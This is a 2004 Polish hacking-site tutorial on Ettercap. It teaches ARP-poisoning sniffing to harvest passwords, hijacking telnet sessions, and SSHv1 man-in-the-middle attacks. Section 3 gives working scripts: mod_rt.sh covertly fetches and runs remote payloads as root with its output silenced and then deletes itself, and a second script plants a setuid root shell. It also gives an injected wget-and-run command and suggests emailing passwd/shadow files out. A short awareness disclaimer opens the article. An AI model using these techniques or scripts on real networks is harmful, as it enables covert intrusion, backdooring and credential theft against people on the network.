FAQ
Download
Forum dyskusyjne
Kontakt i linkownia
Napisz do nas
Ettercap - obsługa
Jest to opis wersji pod system operacyjny Linux, pod systemem Windows NT/XP/2000 większość opcji działa prawidłowo, pod systemem Windows 98/ME większość opcji nie działa.
Autor artykułu:
nagash
Artykuł pochodzi ze strony: http://www.t-nas.org/
______ _ _
| ____| | | |
| |__ | |_| |_ ___ _ __ ___ __ _ _ __
| __| | __| __/ _ \ '__/ __/ _` | '_ \
| |____| |_| || __/ | | (_| (_| | |_) |
|______|\__|\__\___|_| \___\__,_| .__/
by | |
Nagash 2004 v1.0 |_|
Zawartosc:
0. WSTEP
1. INSTALACJA
2. SLOW KILKA NA TEMAT "WESZENIA" W ETTERCAPIE
3. WSTRZYKNIECIA
4. "BEZPIECZNY" PROTOKOL SSHv1
5. PASYWNA IDENTYFIKACJA KOMPUTEROW
6. PACKET FORGE
7. FILTRY
8. ZAKONCZENIE
###########
# 0. WSTEP
Artykul ten zostal napisany JEDYNIE z celu usiadominia ludziom jak latwo przechwycic niezaszyfrowane (bardzo czesto zaszyfrowane tez) informacje w lokalnej sieci. Nie odpowiadam za ewentualne szkody poniesione w wyniku uzywania tych technik, ponadto zaznaczam ze czesc z nich jest nielegalna i karana przez polskie prawo. Dokument mozna dowolnie powielac (bez jego modyfikacji), nie mozna natomiast go "sprzedawac" (umieszczac na platnych nosnikach danych, itp.). To tyle slowem wstepu.
################
# 1. INSTALACJA
Sciagamy ostatnia stabilna wersje ettercapa (ver. 0.6.b) ze strony http://ettercap.sourceforge.net/. Sama instalacja nie powinna przysporzyc zbyt duzej ilosci klopotwo, ta wersja nie ma specjalnych wymagan co do bibliotek (zalecane jest posiadanie ncurses), opcjonalnie wymagane sa biblioteki gtk+, ale nie radze zawracac sobie nimi glowy. Interfejs graficzny jest jeszcze bardzo mocno niedopracowany i bardzo czesto program niespodziewanie konczy swoja prace. Jeżeli ktoś nie chce tracić czasu na instalacje to może skorzystać, z poniższego skryptu:
-- install.sh --
#!/bin/bash
if [ `whoami` != "root" ]; then
echo "[-] Tylko root moze poprawnie uruchomic ten skrypt"
exit 1
fi
old_dir=`pwd`
cd /usr/local/src
echo "[~] Rozpoczynam sciaganie zrodla ettercapa..."
wget http://unc.dl.sourceforge.net/sourceforge/ettercap/ettercap-0.6.b.tar.gz > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
echo "[+] Zrodlo zostalo sciagniete"
else
echo "[-] Wystapil blad podczas sciagania zrodla"
exit 1
fi
echo "[~] Rozpakowywuje..."
tar -zxf ettercap-0.6.b.tar.gz
if [ $? -eq 0 ]; then
echo "[+] Zrodlo rozpakowane"
else
echo "[-] Wystapil blad podczas rozpakowywania"
exit 1
fi
rm -f ettercap-0.6.b.tar.gz
echo "[+] Zrodlo zostalo poprawnie sciagniete i rozpakowane do katalogu /usr/local/src/"
echo "[~] Konfiguruje i kompiluje ettercapa..."
cd ettercap-0.6.b
#wylaczam gtk, poniewaz uwazam ze to zbedny bajer, moze w nastepnej wersji bedzie bardziej dopracowany...
./configure --disable-gtk || make || make install
if [ $? -eq 0 ]; then
echo "[+] Instalacja przebiegla pomyslni"
else
echo "[-] Wystapil blad podczas instalacji"
exit 1
fi
cd $old_dir
-- install.sh --
##########################################
# 2. SLOW KILKA NA TEMAT "WESZENIA" W ETTERCAPIE
Gdy mamy juz zainstalowanego ettercapa, mozemy przystapic do zapoznania sie z jego funkcjami. Gdy program chodzi praktycznie w kazdej chwili mozemy wywolac menu pomocy (klawiszem "h"), aby sprawdzic jakie opcje sa w danej chwili dostepne.
Jedna z najwazniejszych (moim zadaniem) jest zdolnosc "zatruwania sieci" odpowiednio spreparowanymi pakietami ARP. Dzieki temu mozemy skutecznie podsluchiwac inne komputery nawet w sieciach przelaczanych. Zaleta programu jest to ze praktycznie calkowicie automatyzuje on cala czynnos. Wystarczy ze wybierzemy hosty, ktore chcemy podluchwiac, kierunk transmisji i sniffing na bazie pakietow ARP (czyli (A)). Teraz wystarczy ze poczekamy i hasla beda nasze. Ettercap automatycznie przechwytuje loginy i hasla z najbardziej popularnych protokolow (TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG). "Automatycznie" oznacza, ze wystarczy najechac na dane polaczenie tabulka, i na dole ekranu pojawi sie, user i login. Gdy jestesmy nastawieni na masowe przechwytywanie hasel, dobrym pomyslem byloby przed zakonczeniem sesji zapisanie ich do pliku, mozemy to uczynic przez nacisniecie klawisza (L). Oczywiscie mozna tez recznie przechwytywac takie informacje. Wchodzac do polaczenia, podswietlajac je i naciskajac (enter), mamy dokladny zapis transmisji jaka przebiega pomiedzy dwoma maszynami. Oba okna mozna skofigurowac dla naszych potrzeb. Na przyklad, gdy chcemy podsluchiwac rozmowe na chatcie lub protokole komunikacynym dla przejrzystosci mozemy nacisnac (T), wtedy w oknach beda wyswietlane tylko znaki "pisane", reszta bedzie wycinana. Mozemy powrocic do widoku ascii przez nacisniecie (A), lub wlaczyc tryb bardziej szczegolowy (hexowy), przez nacisniecie klawisza (X).
###################
# 3. WSTRZYKNIECIA
W trybie sniffingu ARP oprocz ogladania transmisji dostajemy jeszcze jedna mozliwosc. Mozemy "wstrzykiwac" wlasne dane. Rozpatrzmy taka sytuacje. Przypuscmy ze ktos w sieci uzywa telnetu. Polaczyl sie z jakims serwerem, niestety zrobil to zanim my zdarzylismy wlaczyc sniffera, czyli juz nie podejrzymy hasal (przynajmnije poki co). Mozemy jednak przeslac do sewera zwykla komende tak jak bysmy to my byli komputerem podlaczonym do tego serwera. Taka komenda moze byc przypuscmy "exit\r\n", lub "logout\r\n", jej skutek zobaczy prawdziwy uzytkownik, ktory zostanie odlaczony. Jezeli zrobimy to w dobrym momencie (na przyklad wtedy gdy zalogowany czlowiek wydal juz jakies polecenie do serwera i czeka na wynik, lub tuz po jego wykonaniu, gdy nie zdarzyl jeszcze przeczytac wyniku). Najprawdopodobniej bedzie probowal sie zalogowac jeszcze raz, a wtedy poda uzytkownika i haslo, czyli to o co nam chodzi. To byl akurat prosty przyklad i w sumie nie trzeba bylo tu korzystac z wstrzykniec, tylko nacisnac klawisz (K), ktorym zabijamy zaznaczone polaczenie. Przypuscmy terez ze zalogowany uzytkownik ma prawa root'a, mozemy wykonac manewr z zabiciem polaczenia i zdobyciem hasla, ale... logujac sie zawsze pozostawiamy slady w systemie, a nie zawsze mozna je usunac. Dzieki wstrzyknieciom mozemy zalozyc sobie backdoora, oraz zebrac informacje o systemie (np. gdzie sa zapisywane logi systemowe) bez koniecznoci podlaczania sie do niego. Jak tego dokonac? W tym celu stworzylem/(zmodyfikowalem juz istniejace) pare prostych skryptow w bashu.
-- mod_rt.sh --
#!/bin/bash
#skrypt automatyzujacy zakladnie backdoorow
#sciaga on liste innych skryptow z sieci, po czym je uruchamia
#moga to byc dowolne skrypty, zbierajace info o komputerze na ktorym zostal uruchominy, proste backdoory itp.
#DEKLARACJE FUNKCJI
#stworzenie i przeniesienie sie do tymczasowego katalogu
function begin()
{
# echo "[+] Starting scrypt"
mkdir /tmp/inode9234
pushd /tmp/inode9234 > /dev/null 2> /dev/null
}
#funkcja czyszczaca wywowywana na ogol na koniec skryptu
function end()
{
# echo "[+] Clearing..."
popd > /dev/null 2> /dev/null
rm -rf /tmp/inode9234
name=`echo $0`
(sleep 5; rm -f $name) &
# echo "[+] Stoping scrypt"
}
#KONIEC DEKLARACJI
#sprawdzenie czy osoba wykonujaca skrypt jest rootem
id | grep -w 'uid=0' > /dev/null 2> /dev/null
if [ $? -ne 0 ]; then
# echo "[-] You must be root to run this script correctly"
exit 1
fi
begin
#ustalenie miejsca listy skryptow
if [ $1 ]; then
src_dow=$1;
else
src_dow='http://strona.z.lista.moich.skryptow.i.backdorami/src_list';
fi
src_dir=`echo ${src_dow%/*}`
#sciagniecie pliku skryptow do instalacji
# echo -n "[~] Downloading scrypt list: "
wget $src_dow > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
# echo -e "\t[ OK ]"
echo > /dev/null #linijka zbedna gdy powyzsza nie jest skomentowana
else
# echo -e "\t[ FAIL ]"
# echo "[-] Can't download scrypt list"
end
exit 1
fi
# echo "[~] Starting download:"
#sciagnanie i wykonywanie kolejnych skryptow
line_num=1
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
while [ $line ]; do
#sprawdzenie czy linia nie zaczyna sie od znaku komentarza lub spacji
res=`echo $line | cut -b 1`
if [ $res != "#" -o $res != " " ]; then
# echo "[~] Downloading: $src_dir/$line"
#sciagniecie skryptu
wget "$src_dir/$line" > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
# echo "[+] Downloading complete"
#wykonywanie skryptu
# echo -ne "[~] Executing $line: "
sh $line
if [ $? -eq 0 ]; then
# echo -e "\t[ OK ]"
echo > /dev/null #linia zbedna gdy powyzsza jest odkomentowana
else
# echo -e "\t[ FAIL ]"
echo > /dev/null #to samo co wyzej
fi
else
# echo "[-] Can't download: $line"
echo > /dev/null #czytaj wczesniej
fi
fi
line_num=$[$line_num+1]
#ten warunek moze nie jest zbyt profesjonalnie napisany, ale chyba nikt nie bedzie korzystal
#z listy wiekszej niz 999 ??
if [ $line_num -ge 10 ]; then
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
elif [ $line_num -ge 100 ]; then
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
else
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
fi
done
end
-- mod_rt.sh --
Jak mozna zauwazyc wylaczylem w naszym przykladzie wszystkie komendy "echo", zabieg ten jest niezbedny poniewaz, napewno ofiara by sie szybko zoorientowala, ze cos jest nie tak, gdyby nagle na jej ekranie zaczelyby sie wypisywac komunikaty o postepie zakladanych backdoorow.
-- local_simple_backdoor.sh --
#!/bin/bash
cat << KONIEC > a.c
#include
main () {
setuid(0);
setgid(0);
unsetenv("HISTFILE");
system("/bin/sh");
}
KONIEC
gcc -o /tmp/tmp01985 a.c
chmod +s /tmp/tmp01985
rm -f a.c
-- local_simple_backdoor.sh --
najprostrzy lokalny backdoor jaki widzialem, bardzo latwo go tez znalezc, ale dla przykladu wystarczy. Tworzymy tez jakis tam plik z lista skryptow, ktore maja byc wykonane na komputerze ofiary. W tym wypadku bedzie on wygladal tak:
-- src_list --
local_simple_backdoor.sh
-- src_list --
(moze byc ich oczywiscie wiecej wtedy ich nazwy powinny byc wpisywane w nowych liniach)
wszystkie trzy pliki wrzucamy na darmowy serwer www (http://darmowy.serwer.pl/moje_konto). Wystarczy ze strzykniemy w sesje nastepujacy tekst:
(wget -q darmowy.serwer.pl/moje_konto/mod_rt.sh; sh mod_rt.sh darmowy.serwer.pl/moje_konto/src_list;)\r\n
albo jezeli chcemy mozemy skrocic wstrzykniecie przez nadanie zmiennej $src_dow w skrypcie mod_rt.sh wartosci, ktora bedzie okreslala miejsce pliku "src_list". Dzieki temu pojawi sie lokalny backdoor, a to tylko przyklad. Mozna rownie dobrze napisac skrypt, ktory wysle na maila plik z passwd/shadow'em, odpowiednio zmodyfikuje syslog.conf lub po prostu podmieni plik /var/www/html/index.html.
#################################
# 4. "BEZPIECZNY" PROTOKOL SSHv1
W powyzszym punkcie opisalem, metody atakow na protokol telnet. Moze i bylyby one przydatne gdyby nie fakt, ze coraz mniej osob z niego korzysta. Protokol ten jest wypierany glownie przez SSH. Wielu administratorow jednak nie zdaje sobie sprawy ze domyslna konfiguracja jednej z najpopularnijszych implementacji (OpenSSH) dopuszcza korzystanie w pierwszej wersji tego protokolu. Nie jest to blad czy zaniedbanie ze strony programistow. Po prostu nie wszystkie klienty tego protokolu obsluguja wersje druga. Co daje nam ta wiedze? Pierwsza wersja SSH oraz SSL jest podatny na atak typu MITM (men-in-the-middle, "czlowiek-w-srodku"). Sadze, ze nazwa tego ataku sama opisuje jego przebieg (jezeli ktos jest zainteresowany szczegolami to odsylam do google). Tutaj przedstawie tylko zalozenia:
+---+ szyfrowanie kluczem nr. 1 +---+
| A | <--------------------------> | B |
+---+ +---+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ <- Normalne polaczenie SSH
+---+ szyfrowanie kluczem nr. 1 +---+ szyfrowanie kluczem nr. 2 +---+
| A | <--------------------------> | C | <--------------------------> | B |
+---+ +---+ +---+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Polaczenie SSH + atak MITM
Widzimy tu ze w polaczeniu posredniczy maszyna C. Jest ona w stanie odczytac zaszyfrowane informacje, poniewaz maszyna A uwaza ja za B, natomiast maszyna B za A. Cale polaczenie jest szyfrowane, tylko ze komunikacja odbywa sie w dwoch etapach najpierw maszyna A szyfruje do C, myslac ze to komputer B. Maszyna C odszyfrowywuje informacje oraz szyfruje ja do maszyny B podajac sie za A. Calosc jest mozliwa poniewaz SSH1 i SSL nie uwzglednia uwierzytelniania maszyn ktore sie komunikuja. Oto cala idea. Atak mozna przeprowadzic tylko na poczatku polaczenia, czyli podczas gdy obie maszyny wymieniaja miedzy soba klucze publiczne i generuja klucz do sesji.
To tyle teorii, teraz jak to przeprawadzic w praktyce. Wlasciwie wystarczy uruchomic ettercapa, ustawic sniffing miedzy danymi maszynami na bazie pakietow ARP i czekac. Ettercap odwali cala brudna robote za nas. Nigdy nie probowalem (z braku mozliwosci), ale metody opisane wyzej w atakach na telnet powinny tez dzialac na protokole SSH1. Jezeli natomiast spoznilismy sie z uruchomieniem sniffera, bedziemy widziec tylko zaszyfrowane informacje. Mozna sobie z tym poradzic, zabijajac dane polaczenie, i czekajac az zostanie nawiazane nowe. Klient SSH oraz przegladarki internetowe (w przypadku SSL) wyswietlaja informacje o kluczu jakiego uzywa druga strona. Z doswiadczenia jednak, wiem ze malo kto zwraca na to uwage (bo przeciez kto sie bedzie uczyl na pamiec "odciskow palcow" kluczy publicznych serwerow?). Tak wiec widac ze, pomimo silnych algorytmow kryptograficznych, przez nieuwage lub ignorancje mozemy w latwy sposob pozystac nawet zaszyfrowane informacje.
######################################
# 5. PASYWNA IDENTYFIKACJA KOMPUTEROW
Przed skutecznym atakiem na maszyne, dobrze jest wiedziec z jakiego systemu operacyjnego ona korzysta. Jedna z najpopularniejsza metod identyfikacji jest aktywny OS fingerprinting. Program uzywajacy tej metody wysyla roznego rodzaju zapytania do skanowanej maszyny, maszyna odpowiada lub nie, program skanujacy analizuje (porownuje ze swoja wbudowana baza danych na temat systemow) rodzaj odpowiedzi, czas po jakim odpowiedz zostala wyslana i na tej podstawie stara sie okreslic wersje oraz system operacyjny. Najpopularniejszym narzedziem, z rozbudowana baza i wieloma odmianami skanowania jest Nmap. Ten typ skanowania ma jedna pewna wade. Poniewaz dobrze skonfigurowany system operacyjny/firewall bedzie rejestrowal te zapytania, pozniej te informacje moga byc wykorzystane przeciwko atakujacemu, lub dac przynajmniej jakis trop administratorom. Dlatego zostala stworzona technika pasywnej identyfikacji systemow. Ma ona jedna wielka zalete, nie generuje ona zadnego ruchy, tym samym atakujacy pozostaje "niewidzialny". Technika ta posiada takze duza wade, mozna jej uzywac tylko w sieciach lokalnych. Pasywna identyfikacja rozni sie tym od aktywnej, ze nie wysyla zapytan do skanowanej maszyny. Program korzystajacy z tej techniki analizuje ruch w sieci i po tym stara sie okreslic rodzaje systemow jakie w niej wystepuja. Program musi "widziec" ruch, stad wynikaja ograniczenia tej techniki. Ettercap umozliwia wykorzsytanie pasywnej identyfikacji. Wystarczy ze nacisniemy "O" w glownym menu i program automatycznie zaczyna analizowac ruch. Wypisuje on wszystkie maszyny miedzy ktorymi dochodzi do komunikacji (z perspektywy sieci lokalnej do ktorej jestemy podlaczeni). Dodatkowo mozemy wybrac maszyne i enterem wyswietlic szczegoly jakie udalo sie o niej zebrac. Tymi szczegolami beda adres MAC karty (tylko maszyny w sieci lokalnej), odcisk palca systemu, jezeli zostal on zidentyfikowany, producent karty sieciowej, oraz dystans w HOP'ach, a takze, otwarte porty. Technika ta jest bardzo przydatna, gdy wpinamy sie do jakiejs sieci lokalnej i chcemy zebrac o niej jak najwiecej informacji w jak najcichszy sposob. Odradzam tego typu dzialanie, gdy interesuje nas konkretna maszyna (w takich przypadkach lepiej sprawdza sie nmap, lub wybieramy aktywny detekcje klawiszem (F) w glownym menu). Na koniec trzeba dodac, ze wersja v0.6.b jest juz dosc stara i bardzo czesto myli sie w identyfikacji, tak wiec trzeba podchodzi do wynikow jego pracy z dystansem. Napisalem skrypt w perlu, ktory sciaga najnowsze bazy odciskow (ale mimo to nie zauwazylem zanacznej poprawy w dzialaniu).
-- etter_updater.pl --
#!/usr/bin/perl
#Prosty skrypt uaktualniajacy baze fingerprintow systemow ettercapa
#Uaktualnienia:
#dla metody pasywnej: sciagniecie z nowej wersji v7.0rc1
#dla numerow mac: sciagniecie z nowej wersji v7.0rc1
#dla metody aktywej: przegrywa baze z lokalnej wersji nmapa (jezeli takowy jest zainstalowany)
use warnings;
use strict;
my $nmap_prefix="/usr/share";
my $etter_prefix="/usr/share";
my $user=`whoami`;
chomp($user);
if ( $user ne "root" )
{
print "[-] Only root can execute this script properly\n";
exit 1;
}
print "####################################\n";
print " Ettercap v0.6.b fingerprints updating script\n";
print"####################################\n\n"
#Uaktualnienie bazy odciskow dla pasywnej identyfikacji systemu
print "[~] Updating ettercap passive fingerprints data base\n";
if ( -e "$etter_prefix/ettercap/etter.passive.os.fp")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/etter.passive.os.fp $etter_prefix/ettercap/etter.passive.os.fp_old");
print "[~] Starting download latest version: ";
system("wget -q \'http://cvs.sourceforge.net/viewcvs.py/ettercap/
ettercap_ng/share/etter.finger.os?rev=HEAD&content-type=text/plain\' -O $etter_prefix/ettercap/etter.passive.os.fp");
if ( $? eq 0 )
{
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/etter.passive.os.fp_old $etter_prefix/ettercap/etter.passive.os.fp");
}
}
else
{
print "[-] Can't find local passive fingerprints data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}
#Uaktualnienie bazy numerow kart mac
print "[~] Updating ettercap mac numbers data base\n";
if ( -e "$etter_prefix/ettercap/mac-fingerprints")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/mac-fingerprints $etter_prefix/ettercap/mac-fingerprints_old");
print "[~] Starting download latest version: ";
system("wget -q \'http://cvs.sourceforge.net/viewcvs.py/ettercap/
ettercap_ng/share/etter.finger.mac?rev=HEAD&content-type=text/plain\' -O $etter_prefix/ettercap/mac-fingerprints");
if ( $? eq 0 )
{
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/mac-fingerprints_old $etter_prefix/ettercap/mac-fingerprints");
}
}
else
{
print "[-] Can't find local mac numbers data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}
#Uaktualnianie bazy odciskow dla aktywnej identyfikacji systemow
print "[~] Updating ettercap active fingerprints data base\n";
if ( -e "$etter_prefix/ettercap/nmap-os-fingerprints")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/nmap-os-fingerprints $etter_prefix/ettercap/nmap-os-fingerprints_old");
print "[+] Trying to find nmap data base: ";
if ( -e "$nmap_prefix/nmap/nmap-os-fingerprints")
{
print "[ OK ]\n";
print "[~] Starting rewrite: ";
open INPUT, "<$nmap_prefix/nmap/nmap-os-fingerprints";
open OUTPUT, ">$etter_prefix/ettercap/nmap-os-fingerprints";
my $line;
while ($line=)
{
print OUTPUT "$line" if ( $line !~ /^Class/ );
}
close INPUT;
close OUTPUT;
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/nmap-os-fingerprints_old $etter_prefix/ettercap/nmap-os-fingerprints");
}
}
else
{
print "[-] Can't find local passive fingerprints data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}
-- etter_updater.pl --
##################
# 6. PACKET FORGE
Czym to wlasciwie jest? Dodatek do ettercapa pozwalajacy na dowolne tworzenie pakietow (tak jak w hping'u). Mamy do niego dostep z menu glownego oraz z ekranu sniffowania, przez nacisniecie klawisza (X). Mozemy praktycznie dowolnie ustawiac wszystkie dane naglowka pakietu poczawszy od MAC adresu kart sieciowych, rodzaju protokolu, czasu zycia, numeru portow, a skonczywszy na danych jakie ma zawierac ten pakiet. Oczywiscie dane o zrodle pakietu nie musza byc prawdziwe i mozemy wyslac go tak jak bysmy byli inna maszyna. Dzieki tym funkcjom mozemy szczegolowo sprawdzac konfiguracje firewall'a, dostajemy takze narzedzie dzieki, ktoremu w latwy sposob mozemy generowac pakiety, ktore moga przepelniac bufory roznych uslug.
############
# 7. FILTRY
Ettercap oferuje rowniez mozliwosc filtrowania pakietow. Podczas sniffingu ARP, mozemy wywolac okno filtrow (klawiszem (F)). Filtry sa prostym zbiorem regulek, przez ktore bedzie przeprowadzany kazdy pakiet, ktory przechwyci ettercap. Filtr moze sprawdzac protokol, porty, oraz zawartosc pakietow, jezeli przypozadkujemy ktorejs z tych wartosci 0 lub NULL, warunek dla tej wartosci bedzie zawsze spelniony. Dostepnymi akcjami, ktore beda podejmowane, gdy pakiet spelni wszystkie warunki danej regoly, sa DROP, REPLACE, LOG (odrzuc, zamien, zapisz). Oprocz tego mozemy tworzyc cale ciagi regul, dzieki polom "Goto if match" oraz "Goto if doesn't match". Wartosci pol okreslaja numer reguly, do ktorej filtr bedzie skakal, gdy zostanie przeprowadzony rachunek logiczny.
Posluze sie przykladem, aby pokazac zastosowanie dla tej funkcji. Bardzo czesto zdarza sie, ze ktorys w uzytkownikow w sieci lokalnej odkrywa magie p2p net'u, dzieki czemu skutecznie utrudnia on komunikacje innym komputerom. Mozemy skontaktowac sie z administratorem sieci, ale rownie czesto takie proby koncza sie tak samo jak prosba do niesfornego uzytkownika o wlaczenie ograniczen (brak odpowiedzi lub "nie wiem jak to zrobic"). Wtedy mozemy uzyc ettercapa, nie jest to rozwiazanie ostateczne, ale na ogol wystarcza. Przykladowa siecia p2p, ktora opisze bedzie edonkey2000. Wiem, ze na ogol komunikacja standardowa (pomiedzy zwyklymi, dwoma maszynami) odbywa sie na portach 4662, 4664, rozne serwery maja pootwierane rozne porty, ale po krotkim sledztwie stwierdzilem, ze te wieksze maja pootwierane porty 4661, 4242. Posiadajac ta wiedze, wchodzimy do ettercapa, ustawiamy ARP sniffing, pomiedzy komputerem "delikwenta", a gatewayem. Wchodzimy do menu filtrow, wybieramy filtr dotyczace (i tu zalezy od tego jaki kierunek sniffingu wybralismy, ja przyjmuje ze zrodlem jest "delikwent"), wchodzimy do edycji regul zrodla (W), kasujemy wszystkie standardowe klawiszem (D) i tworzymy po kolei nastepujace wyrazenie logiczne:
(dla tych ktorzy znaja skladnie regul tcpdumpa, ci ktorzy nie znaja, powinni sie zapoznac z manualem do tego programu)
((src port 4662) or (dst port 4662) or (dst port 4242) or (dst port 4661))
pakiety spelniajace ten warunek powinny byc odrzucane (DROP'owane). Tworzymy nastepujace reguly (aby dodac nowa (A)):
0. Protocol: TCP; Source port : 4221; Action: Drop; Goto if doesn't match : 1
1. Protocol: TCP; Dest port : 4662; Action: Drop; Goto if doesn't match : 2
2. Protocol: TCP; Dest port : 4242; Action: Drop; Goto if doesn't match : 3
3. Protocol: TCP; Dest port : 4661; Action: Drop;
i gotowe koles juz nie powinien przeciazac tak sieci. Wazne jest, aby ettercap mial wlaczone caly czas ten zestaw regul, klawisz (S) powinien je aktywowac. Akcje mozemy takze laczyc, na przyklad mozemy zablokowac dany pakiet i zapisac go w logu.
0. Protocol: TCP; Dest port : 22; Search : root; Action: Log; Goto if match : 1;
1. Protocol: TCP; Dest port : 22; Search : root; Action: Drop;
Powyzsze dwie reguly przeszukuja pakiet pod katem slowa kluczowego "root", gdy znajda zapisuja zaistnialy fakt do pliku, oraz odrzucaja pakiet, uniemozliwiajac w tym przypadku poprawne logowanie.
#################
# 8. ZAKONCZENIE
W tym artcie opisalem tylko mozliwosc uzycia trybu interaktywnego. Troche bardziej zaawansowanym uzytkownikom polecam przeczytanie manuala, w ktorym jest opisany tryb nieinteraktywny. Ma on pare zalet miedzy innymi pozwala na ARP sniffingu paru komputerow na raz.
Mam nadzieje ze ten artykul przyblizyl troche zastosowanie oraz funkcje ettercapa, a takze pokazal w jak prosty sposob w dzisiejszych czasach mozna przechwycic poufne informacje. Bez wzgledy na to czy sa zaszyfrowane czy jawne. A takze ze uswiadomi ludziom, ze kryptografia nie jest wymyslem fanatykow, z ktorej korzysta sie tylko na wojnach, ale powinna miec tez powszechne zastosowanie w internecie. Oprocz wprowadzenia samej kryptografii powinno sie tez uswiadamiac ludzi czym rozni sie np. firma VeriSign od VerySign, poniewaz nawet najsilnieszy szyfr nie bedzie w stanie zabezpieczyc transmisji przed glupota ludzka. Troche wyszlo jak jakis manifest, no ale coz... to moj pierwszy art i nie za bardzo wiedzialem co napisac.
Autor artykułu:
nagash
Artykuł pochodzi ze strony: http://www.t-nas.org/
KomputerNEWS
#czat_HAKER# __Bugtraq_PL__
Hacking Top
Hacking-Naj
Strona istnieje od: 22 września 2004r. Administrator TadeuszFantom
Kopiowanie, powielanie, publikowanie, modyfikowanie treśći ze strony jest wskazane a nawet mile widziane :)
Redakcja nie ponosi odpowiedzialności za teksty tu publikowane.
ukryj reklam�
zamknij
Darmowy hosting zapewnia PRV.pl: 7-seven, NULL, restauracjakfc, dbpfear, mikserfilmow
Dziel sie multimediami na Patrz.pl
Brak komentarzy:
Prześlij komentarz